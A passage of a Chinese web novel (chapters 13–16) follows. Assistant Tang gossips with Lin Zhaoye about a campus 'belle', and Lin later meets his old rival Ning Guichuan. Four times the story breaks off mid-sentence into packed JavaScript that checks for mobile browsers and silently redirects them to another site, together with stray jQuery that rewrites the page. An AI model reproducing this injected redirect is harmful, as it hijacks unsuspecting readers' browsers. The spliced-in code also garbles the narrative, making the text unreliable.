林照夜：“……” 这人记性还真好，也真记仇， “这不就是要出去走走才知道吗。”林照夜振振有词完，又揉揉肚子，老实道，“我有点吃撑了，想下去消消食。” 汤助理也主动道：“一会儿我送照夜回来。” 关明熙扫了他们一眼，没再阻拦：“别回来太晚。” 两人都连连点头。 汤助理还知道跟老板招呼两句，招呼完，林照夜拉着他就往外走。 关明熙看着他们离去的背影，微不可查地挑了下眉。 ——这两个人什么时候已经这么熟了？ 门外，汤助理刚进电梯门就打了个寒颤。 “汤哥你冷了？”林照夜把刚穿上身的外套又脱下来给他，“要不先借你挡挡风？” 汤助理看了眼他身上的单衣：“给我你穿什么？” 林照夜直接把外套往他怀里塞：“我还年轻嘛，火气比较旺，不怕冷。” 还得是当咸鱼的时候身体底子最高。 喝酒熬夜作了一个多月，进医院一个多礼拜，等出院的时候他身体就恢复的差不多了。 也就是汤助理和关明熙都亲眼见过他刚被送到医院时，那副气若游丝昏迷不醒仿佛随时都要噶过去的狼狈惨状，至今回想起来仍心有余悸。 汤助理搓了搓胳膊，还是把外套披回林照夜身上：“你自己穿好，我车上有衣服。” 他是开车过来的，这会儿就停在小区门口。 汤助理先绕过去拿了外套，才又陪着林照夜围着小区散了会儿步，一边将一些标志性地标指给林照夜看。 散步到第二圈的时候才切回正题。 “之前那两个人的事我打听到了。”汤助理看了眼左右，见没什么人注意，才小声对林照夜说道，“一个是开连锁奶茶店的小老板，另外一个是N大的‘校花’。” 他说的就是林照夜之前在楼上看的那出闹剧。 当时汤助理跟着关总一块回来，自然也目睹了楼下那吵闹的阵仗。 因为见关总脸色不好，他也没敢多看。 但作为林照夜刚发展出来的八卦搭子，汤助理也很难按捺住自己的好奇心。 当然他八卦的理由也很正当。 闹剧的主人公之一就住老板隔壁楼，万一以后再牵扯出什么事，给老板带来麻烦呢。 一个合格的好助理就应该要懂得未雨绸缪，提前且自觉地收集可能有用的信息。 所以忙完正经的工作之后，汤助理就根据林照夜友情系统的线索去调查了一下。 这一打听就发现这两个都算是圈子里的“名人”。 那个微胖的男人就是奶茶店老板，大小也算是个小富二代，不过父母不是什么做生意的，而是恰巧赶上拆迁的风口，拆出几栋楼靠收租一夜暴富了。 小老板算是他们家族里最有经商头脑的一个了。 不过这人在外名声不太好，好色、粗鲁、吝啬，素质很差。 而且还是男女通吃。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966413|161260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“警察到场之后就把他们一起带到警局调解做笔录了，听说那个‘校花’那边来了好多同学，证明那个小老板早就知道他是男的，还说自己不在意。”汤助理继续说道。 “已经结案了？”林照夜好奇地问。 “对，本来就只是感情纠纷，那个小老板是给那个‘校花’发了不少红包，但都很清楚地标明是自愿赠予。” 汤助理顿了顿，左右扫了一眼，又压低声音说：“听说他们闹矛盾就是因为那个小老板想带‘校花’去参加那种聚会，‘校花’不肯，说要分手，他们在一起才没多久，小老板觉得自己的钱打了水漂，气不过才说他是骗子，叫他还钱。” “什么聚会？”林照夜一时没转过弯来，还在想什么矛盾闹这么大。 “就是那种——”汤助理遮遮掩掩含含糊糊，“好多人一起的……” “好的，我懂了，你不用说了。”林照夜一脸木然，及时打住这个话题，“那他还挺倒霉的，遇人不淑啊。” “这事儿确实是他倒霉。不过那个‘校花’其实也不是什么简单的人物，某种意义上来说这两人也算卧龙遇凤雏了。” “怎么说？” “都是‘人才’。”汤助理面露感慨，“不过‘校花’是真人才。” “校花”大名何霜降，是个货真价实的男人。 之所以外号“校花”，主要是因为那张脸长得实在漂亮，加上本人性格又比较文静内敛，说话腔调也总是温温柔柔的，除了身高喉结平胸，简直就是无数男同胞的梦中情人。 在学校里，这位“校花”的名声也是毁誉参半。 喜欢他的又要分别划分成颜值粉和才华粉，有人纯粹欣赏喜爱他的相貌，也有人是出于慕强心理。 因为这位“校花”还是个知名学霸。 何霜降高考的时候就是市里的理科状元，进入大学之后也是年年名列前茅，所有有奖金的竞赛活动奖项都被他收入囊中，如今他还在读博，听说是明年毕业。 “确实是个人才。”林照夜忍不住点头认同汤助理的评价，又问，“那不喜欢他的呢？” “有一部分是觉得他没什么前途。”汤助理回忆着那些复杂的专业名词，“我也不太懂他在具体研究什么，听说好像是什么特殊病症的药物研究。” “很多人说根本不可能搞出来，就算真搞出来也发挥不了什么作用，那个药成本很高，患病的人又很少，根本不会有冤大头买账，更有可能是还没研发出来，研究资金就断了，吃力不讨好。” “那他为什么要研究这个？”林照夜问，“以他的成绩，换个更赚钱的项目应该不难吧。” “这我就不知道了。”汤助理摇了摇头，“我知道的这些都是跟校友打听出来的。我猜要么是为了名，要么是为了信仰吧。” 如果能在空白领域做出一番成绩，那就是创世纪一般的瞩目成就，远比那些普通项目更引人注目赞叹。 要不然就是有什么信念作为动力支撑着他走这条荆棘之路。 “也有可能是有什么近亲属朋友之类的人也患了那种病，所以才这么执着。”汤助理随口猜测。 “……也许。”林照夜思绪不自觉地飘远，神色有些触动。 只是天色昏暗，路灯也黯淡，汤助理想着别的事，并没有注意到他异样的沉默。 “不过认真说起来，这个也不算主因。”汤助理继续说道，“其实也有挺多人因为这个很佩服他。” “那还有什么原因？” “有些人觉得他……”汤助理欲言又止，表情像是便秘一般，难以启齿，“说他……呃……水性杨花。” 汤助理说到后面声音越来越小。 林照夜差点都没听见：“你说什么？” 汤助理轻咳一声，换了个说法：“他是个海王。” 而且在警察局和奶茶店老板对峙的时候，跑过去给何霜降作证的同学，全是何霜降鱼塘里的鱼。 “……”林照夜默然片刻，深深感叹，“确实是个人才。” 各种意义上的人才。 14. 14 汤助理看出来林照夜对那个“校花”的事挺有兴趣。 他原本也想再多打听一些消息，但很快就变得心有余而力不足了。 公司最近很忙，特别忙。 不止是分公司，关家乃至整个圈子上上下下都动了起来。 关明熙先前休假一个多月，公司里本就积压了一些工作，原本以他的工作效率，最多加班一周就能处理干净。 但恰巧赶在这个档口，上面传来了政策变动的风声。 原先已经通过的文件合同又被提出来重新审查改动，很多环节牵一发动全身，工作量瞬间呈指数倍往上飙升。 就算从总部调了人，也远远不够。 况且总部那边现在也缺人手，只是没有分公司这边这么急缺。 即便临时招人也需要时间。 好在关明熙身边心腹能人不少，一个个恨不得把自己掰成八瓣用，艰难挨过了手忙脚乱的前期，之后就恢复到了平稳运行状态。 就是比平时要更忙一些，但没出什么大的岔子。 汤助理也没逃得掉，直接被调回公司，跟着开启地狱加班模式。 这一忙起来，就有点顾不上林照夜了。 林照夜同时失去了会做饭的大哥以及自己的八卦搭子，一时间竟有些孤零零的不适应。 跟在他身边的保镖大哥一个比一个严肃，林照夜有一搭没一搭地跟他们也算是聊熟了一些，但比起汤助理，感觉上还是有点气场不和。 聊不了什么八卦，逗起来也没什么意思。 林照夜在N市转了几天，闲逛到N大附近的时候看中个铺子大甩卖，就顺手买下来改成仓库兼私人工作间。 关明熙那里宽敞但干净整洁，林照夜实在不好意思糟蹋。 有时候外面闲逛看中什么有意思的东西，买了就往那个三层的铺子送。 楼下是铺面，但锁上门也可以当仓库。 楼上两层则都是普通住宅格局，不过暂时就是个毛坯。 林照夜溜达到家居装饰城那片的时候，又顺路聘请了一个装修施工队。 不过装修这种事，看一天两天觉得新奇，天天守着就是折磨了。 尤其是现在万能的汤助理不在，有什么事都得林照夜自己上。 林照夜去观摩了两天，就开始琢磨起另一件事—— 他是不是也该聘请一个专门的生活助理了。 别的要求也没有，长相过得去，身体好，能帮忙到处跑腿就行。 回去的路上，林照夜就顺手在网上发了个招聘启事。 发完放下手机，余光瞥见外面排长队的包子店，他连忙叫司机：“赵哥，前面停一下车。” 司机连忙在路边停下车。 林照夜看了看那条折了两道弯的长队，扭头对司机说：“赵哥你要不先回去吧，我一会儿自己打车回去。” 司机摇头：“我得保证把你平安送回去，不然没法和关总交代。” 林照夜叹了口气，再次开始想念他还没有招聘到的未来助理。 可惜是人是狗都还没有一点影子。 他伸手指了指不远处的停车场：“那你在那边等我吧，我在这边买点东西，一会儿好了再给你打电话。” 司机犹豫了一下，最终还是点头同意了。 林照夜排队排了将近一个小时才拎着包子回来。 分给司机和保镖几个，自己尝了一个，剩下的都是给关明熙带的夜宵。 关明熙最近工作忙，天天早出晚归，已经连续一个礼拜半夜十二点之后才到家了。 昨晚甚至一直到凌晨三点才到家。 但让林照夜都感到佩服的是，都忙成这个熊样了，关明熙还坚持每天打卡下班回家，打死也不在公司留宿。 幸好小区离公司不远，不然林照夜都担心他会猝死在半路上。 工作上的事林照夜帮不上什么忙，也不好多过问，估摸着关明熙加班到这么晚，应该是来不及吃东西，说不准晚饭都不记得吃，就想着给他准备点夜宵垫垫肚子。 一开始的时候，林照夜是想自己下厨的。 但他高估了自己的厨艺，忽视了关明熙深夜回家的不确定因素。 关明熙第一次深夜回家看到餐桌上留的纸条时，说实话还真有那么一点点感动。 不过在吃了两口坨成团的冷面条之后，隔天早上关明熙就在临上班之前特意敲开林照夜的房门，把他叫醒，一脸郑重而严肃地告诉他，以后千万不要再做饭了。 要么出去吃，要么等他有空回来做。 不然他加班到一半都得担心一下林照夜会不会把自己给毒死，或者饿死。 然后林照夜就每天都在外面买点现成的带回来，多数时候是包子烧饼小米粥之类的中式餐点，偶尔会换成糕点甜品。 为了让关明熙吃得放心，包装袋和小票他都完好地一同留在了餐桌上。 虽然等到关明熙下班回来的时候，东西也已经冷透了，但至少热热还能入口。 最忙的几天里，关明熙都快养成了条件反射，回来后先吃点东西垫垫肚子，然后再去书房加一会儿班，最后洗澡睡觉。 饶是效率再高，天天这样高强度工作，他对生活上的一些细节难免有些麻木和疏忽。 连轴转了小半个月之后，公司事务逐渐重回平稳状态，关明熙手上工作瞬间减轻不少。 恰巧这天原本预定的线上会议因故推迟，关明熙顶着一双日益明显的黑眼圈，半个月来第一次得以在办公室里睡上两个小时的午觉。 晚上下班也比之前提前了近两个小时。 不过也只是从凌晨一点提前到半夜十一点多。 林照夜已经睡着了，半阖的房门缝隙里透出一点夜灯的暗光，屋子里静悄悄的，关明熙下意识放轻了动作。 玄关处的灯开着，直通向餐桌，桌上照旧压着纸条和夜宵，背面是夜宵的小票。 今天的夜宵是锦楼的绿豆糕。 锦楼是N城的老字号糕点铺，很难得在悠久的历史背景下还保留着高强度的创新精神，年年都会推出新品，和老产品同台销售，经过严格的顾客筛选检验后才会保留到下一年。 这绿豆糕已经有了十来年历史了，关明熙小时候就卖得火热。 味道好，用料足，唯一的缺点就是难抢。 为了保证产品的质量，锦楼至今只开了两家店，分别在N市的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966414|161260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城东和城西。 距离他们家都不近。 关明熙吃到一半才反应过来，翻开小票看了一眼，发现是城西那家锦楼。 比城东那家距离更远。 林照夜跑到那么远的地方做什么？ 关明熙皱眉思索片刻，忽然又想起来什么，从柜子上的杂物盒里翻出了前几天的小票。 上面的店关明熙大多都知道，按日期排列一下，林照夜这段时间都快把整个主城区都逛遍了。 关明熙盯着小票看了半晌，又抬头看了眼林照夜的房间，最后还是没有去叫醒他，只把小票重新塞进了杂物盒里。 也许只是闲在家里太无聊了。 而且有保镖暗中跟着，应该也不会出什么事。 关明熙暂时放下心底的疑问，将没吃完的绿豆糕重新盖好，塞进了冰箱。 公司里几乎绷成一根弦的紧张氛围又过了两天才真正得以松懈下来。 前几天几个重点部门外面，员工来去匆匆，一个个脸上挂的黑眼圈比怨鬼还重，更不要说一个个都绷着脸，像是集体赶着去投胎。 直到今天按时打卡上班，加班几天的员工眼下的青黑还没消退，但一个个抱着保温杯在工位上嘀嘀咕咕地闲聊八卦，脸上都重新挂上笑容。 除去加班结束这一好消息外，大老板大手一挥，给他们额外加了两个月奖金，本月底结算，也是重要原因。 关明熙今天过来上班的时候，只觉得员工们的面貌一个个的都如春风般温柔和煦。 是个好迹象。 这意味着他今天应该也可以早点下班回家了。 关明熙今天的工作果然又少了大半，最后一份工作是汤助理送过来的文件审核。 文件内容并不紧急，只是条目比较繁琐，汤助理将文件送到后就留下来，一一给关总补充说明。 关明熙看完文件，确认没什么问题，抬头再看汤助理，忽然就又想起林照夜的事，顺口问了一句：“林照夜最近白天在干什么？” 汤助理动作一顿，面露迟疑之色。 关明熙原本只是随口一问，问完就想到汤助理也在公司加班忙得脚不沾地，哪有时间去管林照夜的事。 但此刻见汤助理这副反应，显然是知道什么。 “你们私下里又达成什么协议了？”关明熙扫了他一眼。 汤助理顿时头皮发麻。 他其实什么都没做，只是最近工作没那么忙了，偶尔跟林照夜互相问候闲聊几句罢了。 但在大老板的视线压迫下，他总有种自己背着他在外面做了什么坏事的错觉。 “没有！”汤助理几乎要指天发誓了，“最近都在加班，哪有时间做什么闲事。” 回想前几天的加班日常，汤助理的脸都快皱成苦瓜了。 “我就是听保镖，还有照夜自己说的，他最近好像在摆摊卖玩具，还让我有空去捧个场呢。”当然他一看就知道后半句是玩笑话。 关明熙脸上的表情空白了一瞬，然后慢慢变成困惑，第一次怀疑自己的理解能力是不是出了什么问题。 再开口时，他的语气都带上了几分迟疑。 “你说的，是正经玩具吗？” 15. 15 N大附近的某所小学门口。 林照夜坐在小卖部边上——给小朋友修遥控汽车。 此刻正是小学放学的时间点，小卖部旁边就是一个接送点，没一会儿门口就围了一堆等家长的小朋友，一个个都努力踮起脚伸长了脖子往里看。 可惜等他们探头进去，就见那个被摔坏的遥控汽车已经修好了。 摔了一身灰的小学生接过遥控汽车，顿时破涕为笑，连声道谢：“谢谢大哥哥！” 在旁边同学的怂恿下，小学生将遥控汽车放到地上，操控起遥控器，就见小汽车灵活地穿过了人群。 完全没了刚刚吱哇乱叫却总在原地打转的样子。 “大哥哥你好厉害啊！”小学生们发出阵阵惊呼，崇拜的目光顿时就集中到了林照夜身上。 摔了玩具车的那个小朋友想要掏钱，却被林照夜摆摆手拒绝了。 还没等到家长又暂时走不开的小学生们都围在旁边不肯走，他们还想看他修遥控车，可惜就那么一辆，小卖部里也不卖。 看他们眼巴巴的望着的样子，林照夜忍不住笑了笑，转头跟小卖部的老板要了一叠折纸。 很快周围的小朋友都各自分到了一个折纸小青蛙、小蝴蝶、小狐狸、小玫瑰…… 等到人群散去一些之后，留下的小朋友都是家长下班比较迟，要暂时留在小卖部旁边的托管班继续等人的。 平时他们会坐在旁边写作业，今天却都围在小卖部门口舍不得走。 毕竟这个大哥哥又厉害、长得又好看、说话又温柔，还会教他们折纸耶。 折了几朵小玫瑰之后，林照夜又从小卖部里面取材，教他们做了一盏小花灯。 顺便帮小卖部清了好大一批压箱底快要落灰的库存。 小卖部的老板本来就是和林照夜闲聊聊开心了，一高兴就借了门口的地给他摆摊，结果他自己摊位上那堆丑玩具没卖出去多少，反倒帮小卖部拉了不少生意。 老板心情大好，溜达去隔壁买奶茶的时候，还顺手帮林照夜带了一杯。 “请你的。” “谢谢。”林照夜也没跟他客气，不过手上动作也没停。 他在用剩下的材料做荧光小蝴蝶，一边还能同时和八个小学生聊天。 老板一边咕噜噜吸着奶茶，一边听他们聊天，觉得挺有意思，林照夜一个成年人和小学生打成了一片，竟然还没冷落下任何一个人。 他们现在正在聊一部刚播了两集就腰斩的动画片，恰好在场的大多数人都看过，没看过的听其他讲剧情设定，也被吸引住了注意。 那部动画片并不火，老板没什么印象，注意力渐渐从他们聊天的内容转到林照夜的侧脸上，最后又定格在他的手上。 他这会儿才意识到，这个自来熟的年轻人不仅脸长得好看，一双手也生得极为漂亮灵巧。 五指修长，指节分明，肤白如玉，没有半点瑕疵。 若是再添点云雾特效，就更显得仙气飘飘了。 但那双手动起来也十分赏心悦目，有条不紊，从容不迫，快而不乱。 十指翩飞间，一只蓝黑色的小蝴蝶便栩栩如生地落在他的指尖，振翅欲飞。 “哇，真漂亮！”小朋友们惊呼起来。 纯真无邪的小朋友看的是指尖的小蝴蝶。 成年已久的老板视线却不自觉黏在拈着蝴蝶的那只手上。 直到被旁边挤过来的小朋友撞了一下，他才猛然回过神，被烫到一般收回了视线。 “咳咳咳——”老板咳得死去活来。 “你没事吧？”林照夜担忧地看了他一眼。 “没、没事。”老板的眼神不自觉地躲闪了一下，耳朵有点发烫，他含含糊糊地解释，“不小心被呛到了。” “小心一点哦。”林照夜没有怀疑。 “嗯、嗯。”老板慌乱地点头，见他又低下头去对其他小朋友笑，才松了一口气。 真是丢脸，竟然看一双手看呆了。 老板一边暗骂自己没出息，余光却还是不受控制地王那双手上飘过去。 以前怎么没发现自己还有手控的基因呢。 老板摸着口袋里的手机，最后一点羞耻心拉着他的理智，让他没有掏出来偷拍。 林照夜对他的纠结一无所知，抬手小蝴蝶送给了几个朋友里面唯一的女孩子。 清完手边的东西，学校门口的学生和家长也散的差不多了。 林照夜看了眼时间，也开始收拾自己的东西跟旁边的人道别：“我还有点事，要先走了。” “大哥哥你明天还来吗？”小学生们眼巴巴地看着他。 “门口的位置我可以给你留着。”老板忍不住插嘴。 “多谢啦，不过明天不来，明天有事。”林照夜一边将那堆颜色鲜亮得过头的毛绒玩具打包好，一边说道。 “大哥哥明天有什么事呀？”小朋友们都依依不舍。 “哥哥明天要准备面试。”林照夜笑眯眯地回答。 “你要去找工作吗？”老板看了眼那包丑玩具，发现自己还是没办法说出违心的话，“那你还是好好准备面试吧，肯定比摆摊有前途。” 这审美，天仙来带货也卖不出去啊。 老板又抬头看了看林照夜的脸，给了个相当诚恳的建议：“实在不行，去娱乐圈闯闯也是个不错的选择。” 这张脸长成这样，不出道真是可惜了。 好看还有辨识度。 看过一眼都很难忘记。 林照夜闻言却遗憾地摇头：“那也不会比摆摊更有出息了。” 老板下意识问：“为什么？” 林照夜一本正经地回答说：“对家太多了。” 老板：“……” 收拾好东西，林照夜一手挂着装玩具的大包，一手抓着奶茶，在小朋友们恋恋不舍的道别中转身。 然后就听见一道轻佻但又有点熟悉的声音传过来。 “哟，这不是林大少爷吗，几个月不见，怎么沦落到街头卖艺了？” 林照夜动作一顿，抬头看了一眼。 一辆低调的黑色豪车停在路边，驾驶座上的车窗落下来，露出一张有点眼熟的风流面庞，薄唇桃花眼，生得挺帅气，但一脸滥情相。 年轻的男人一手撑着车窗，抵着下巴，上下打量着林照夜。 倨傲的神色中透着几分幸灾乐祸。 “啧啧啧，林家不会真这么狠心，竟然让你流落街头了吧？你也真是太可怜了，要不要哥接济你一点？” 然而预想中的屈辱神色并没有出现。 林照夜神情自若，还吸了口奶茶，大大方方地反打量回去。 “原来是宁少爷啊。”林照夜微微挑眉，拖长了语调道，“您要是一定要这么大发善心的话，也不是不行——您准备接济我多少？” “……”宁归川一噎。 这人什么时候变得这么没皮没脸了？ 宁归川顿时收敛起嬉笑的神色，又仔仔细细重新打量起林照夜那张脸。 没错啊，是林照夜那张欺骗性十足的脸。 他见过那么多美人，还没见过跟林照夜撞脸的。 但他还是又谨慎地确认了一遍：“你真是林照夜？刚被私生子顶替位置，然后又被A市林家赶出来的那个？” 林照夜：“……” 也不怪原主连贺修远这个死对头都无视了十五年，反倒第一次见这位宁少爷就恨不得和他大战三百回合。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在林照夜也觉得这人挺烦的。 细究两人过往恩怨，倒也不像贺修远那样的深仇大恨。 最多是作为有竞争关系的两个家族的小辈之间有那么点别苗头，但一般面场上都是客客气气还算过得去，偶尔碰见了还能心平气和的打声招呼。 ——原本应该是这样的。 但自打第一次见面起，两人就结下了梁子，后来每碰一次面，总会斗得鸡飞狗跳。 这就完全是原主和宁归川之间的私人恩怨了。 纯粹是因为宁归川嘴巴贱。 不过两人之间的种种矛盾冲突也只局限在打嘴炮上面。 所以林照夜虽然觉得这人挺烦，但也没有太深的恶感，也不想跟他起更深的冲突。 林照夜用余光瞥了眼身后，琢磨着干脆叫保镖把这人丢回车上去算了。 不过还没等他付诸行动，就见宁归川忽然站直身子，面上表情一变，直愣愣地盯着某个方向看。 刚刚还死皮赖脸的人仿佛瞬间变成了情窦初开手足无措的毛头小子。 林照夜离得近，抬了下眼就这么亲眼看到他的耳朵刷的红透了。 “……”啧，有点恶心。 林照夜本想趁机绕过他，但还是耐不住好奇，转头想看一眼是什么天仙人物一下子就勾的这个花花公子连路都走不动了。 转头这一看，林照夜也不由一愣。 ——哦豁，那位海王“校花”。 16. 16 何霜降是从拐角另一边过来的。 看到这边拉拉扯扯的两人，他好奇地看了几眼，然后露出几分意外的神色。 “宁先生，你怎么在这里？” 何霜降的目光只在林照夜脸上停顿了不到两秒，然后所有的注意力就转向了旁边的宁归川。 他不认识林照夜，但显然认识宁归川。 “我……我……”宁归川支支吾吾，挠头傻笑了两声，实在想不出借口，只能干笑着带过去，“好巧哦，说明是上天的指引让我们在这里相遇。” 林照夜不忍直视地撇开视线。 真是没眼看。 他现在怀疑宁归川那个“花花公子”的名声是怎么传出去的。 且不说他自己有没有那个主观想法…… 就这说话都磕巴的羞涩模样，真的能勾到那么多人的芳心吗？ 何霜降微微愣了一下，然后抿唇笑了一下，说道：“是挺巧的，我之前还以为只能在教室里看到宁先生呢。” 林照夜看了他一眼，没从这人脸上看出半点嫌弃或不耐，但也没有任何暧昧之意。 就像是面对碰巧在路上遇见的普通朋友一样。 何霜降注意到他的视线，也朝他多看了一眼，面上都是友好，又适当地对宁归川露出了几分好奇的神色。 “旁边这位，是宁先生的朋友吗？” “不是！”宁归川脱口而出。 “是。”林照夜和他同时开口，一边用力掐了把他的胳膊肉。 宁归川痛得龇牙咧嘴，扭头怒瞪林照夜，倒是一时把脸上的嫌恶盖过去了。 林照夜态度也瞬间来了个一百八十度大转变。 “你是不是想追他？”林照夜压低声音跟他耳语。 “这不废话？”宁归川还记着那一掐之仇，闻言更是警惕，那灵光的小脑瓜猛地一闪，忽然面色大变，“难道你也对霜降一见钟情了？” 没等林照夜开口，他直接拒绝三连：“不行、不准、不许！他是我先看上的，我一定要把到手，你不许跟我抢，不然我跟你没完！” 说到后面，他眼底竟冒出几分真切的凶光。 隐隐就是一副志在必得的样子。 林照夜现在有点相信他过去那些“大众情人”、“风流少爷”的名声是真的了。 他也没被吓到，反倒又掐了宁归川一把。 在宁归川喊起来之前，林照夜用眼神示意了一下不远处杵着的人：“人家何学长还在这里看着呢，你能不能表现得成熟一点。” 宁归川一个激灵回过神来，连忙扭头冲何霜降露出讨好的笑容。 何霜降只是冲他们笑笑，似乎并没有听见他们刚刚在小声争执什么。 “二位看起来感情真好呢。”何霜降说道。 林照夜和宁归川同时在心底呕吐了一下。 最后还是林照夜快一步，面不改色接道：“对，我们也是打小就认识的交情了，就是那种能随便开玩笑的损友关系。” 前半句是真的。 虽然是负向的交情，但也确实是打小就认识的老熟人了。 后半句有一半是真的。 他们开起“玩笑”的时候那可绝对是肆无忌惮百无禁忌了，恨不能把对方嘴巴缝起来的那种“随便”。 林照夜面不改色地说完，又压低声音给宁归川接了一句：“我可以帮你。” 宁归川忍不住面露怀疑。 但就在这时，何霜降脸上却露出羡慕的神色：“真好。” 然后他又看了眼林照夜，继续说道：“这么多年过去关系还是这么好，宁先生真是个念旧情的人。” 宁归川一下子把嫌弃的脸色收敛回去。 “你说得对，我就是这么念旧的人。”宁归川很不要脸地应道，又露出一脸感动的表情，“果然还是霜降你懂我，别人只会看我多有钱，只有你才会透过我英俊的皮囊看向我的本质。” “怎么会，宁先生原本就是很优秀的人呀。”何霜降语气温温柔柔地说道，“我见过那么多旁听生，只有宁先生最大大方方的，上课听得也最认真。” “哪里哪里，都是霜降你教的好。”宁归川一脸谦虚。 “……”林照夜就这么看着两人对着演起来，眼皮直抽。 满肚子槽点竟一时不知道该从哪里吐起。 在场的活物里，就宁大少爷最没资格说他念旧了。 这位曾和原主并称富二代界两大绝世舔狗。 不同于原主只追着一个人舔到失去理智的“深度”，宁少爷重在“广度”，见一个爱一个，爱一个舔一个。 虽说喜新厌旧的速度有点过快了，但他追人和谈恋爱的时候也是真的情真意切，对人好得没话说，舔的程度也不比原主少多少。 只是他热情消退的也快，而且还是断崖似的下跌。 最快记录是追到手六个小时，一起吃了顿烛光晚餐之后，宁归川就和对方分了手。 他那些前任加起来，说不定都能从这里一直排到A市去。 不过想来何霜降应该也不会在意这点小事。 如果对面是个不知内情的普通人，林照夜就是得罪死宁归川也得劝对方快跑。 但若是各取所需，倒是没什么好说的。 高智商的海王哪里是那么容易骗到手的。 看对面那滴水不漏的样子，宁归川只怕有的苦头吃了。 林照夜琢磨着说不定能顺道从里面捞一笔。 三人各怀鬼胎，又心照不宣地走在一起，最后都往同一个方向去了。 林照夜和何霜降目的地相同，都是附近一所特殊学校。 宁归川作为林照夜的“好朋友”，自然是当仁不让跟着一道去的。 走在路上的时候，多数都是宁归川和何霜降聊天。 宁归川一个劲的夸何霜降善良优秀灵魂高贵熠熠闪光，何霜降也客气地回夸宁先生勤学好问稳重低调有善心。 林照夜就在中间充当那个沉默的高瓦大灯泡。 顺带收集拼凑信息。 在他们的商业互吹中，林照夜才知道宁归川追了何霜降快一个月了。 何霜降的导师最近身体不适，他有时候会帮忙代课。 宁归川为了追他，时隔四年竟又重回大学校园，跑去N大办了张旁听证，一次不落地跟完了何霜降的课。 不仅跟了课，宁归川一个金融系毕业生已经能将药理学基础说的头头是道了。 甚至都没什么错漏之处。 林照夜：“……” 恋爱脑，恐怖如斯。 有这毅力，干什么不能成功？ 嗯，除了追海王。 沿着巷子走了十来分钟，三人就到达了目的地。 这所特殊学校是依着公园建的，占地不小，但周围多少显得有点荒凉，前面巷子间的老宅已经几乎搬空，这些年风吹日晒便逐渐显出残败萧瑟。 从那些破漏的老房子间穿过去的时候，连嘴巴叭叭叭个不停的宁归川都感受到了某种沉重的震撼，陡然沉默下来。 学校后面就是一片山，山峰上是一片朦胧的雾影。 建立在残败旧宅以及群山之间的这所学校，就好像是被排除在外与世隔绝的另一个孤零零的小世界一般。 走近些之后，能看到学校内部最高的那栋楼上有个类似医院一样的标志。 何霜降显然是这里的常客。 从进门那一刻起，在这所学校里迎面遇见的所有人都会主动跟何霜降打招呼，有人叫他“小何”，有些人叫他“霜霜”，都是比较亲昵的称呼。 何霜降和另外两人说了一声，说要先去跟这里的老师打声招呼，过一会儿再来找他们，让他们自便。 宁归川下意识想跟上去，但被林照夜拉住了。 走到楼下的何霜降注意到了这一幕，眼底闪过一抹异色，但他很快转回头，快步走向了楼道。 宁归川在最初的震撼之后回过神，看不到何霜降的身影之后，立马就将林照夜拉到了一边，面露凶色。 “你不是说要帮我吗？刚刚为什么又拉住我？” “不分场合的黏人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966416|161260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是大大的减分项。”林照夜一把拍开他的手，“你追了他那么久，他对你的态度有过变化吗？” “……”宁归川噎住。 确实，从认识到现在，何霜降对他都是这么一副温和中隐隐透着几分半死不活的态度。 “我虽然不能保证一定能让你把他追到手，但我知道怎么增加他对你的好感度。”林照夜继续说道。 “什么办法？”宁归川半信半疑。 “你都跟到这里来了，难道都没有受到一点启发吗？”林照夜看他的眼神像是在看傻子。 “什么启发？”宁归川茫然的抓抓脑袋，左右看了半天，正巧看到不远处一个盲人小孩被另一个小孩牵着手慢慢往前走的画面。 两个小孩看着年纪不算小了，大约都有十岁上下。 可其中一人走起路来却像是刚学走路的小婴儿一般步履蹒跚，仿佛踏出一步都要鼓起莫大的勇气。 “那个小孩去年发高烧烧到失明。”林照夜轻声跟他解释，“她父母没有钱给她治疗，而且家里还有个更小的男孩，他们就把她扔到了雪地里。” “什么？”宁归川震惊地捏紧了拳头，“天底下怎么会有这样的人？他们这、这不是——” 不是送她去死吗？ “你声音大了她能听见。”林照夜示意他小声一点，不要继续往人家心上扎刀，“不是什么人都配做父母的。” “那他们后来被抓起来了吗？”宁归川忍不住问，这回知道把声音压到很低了。 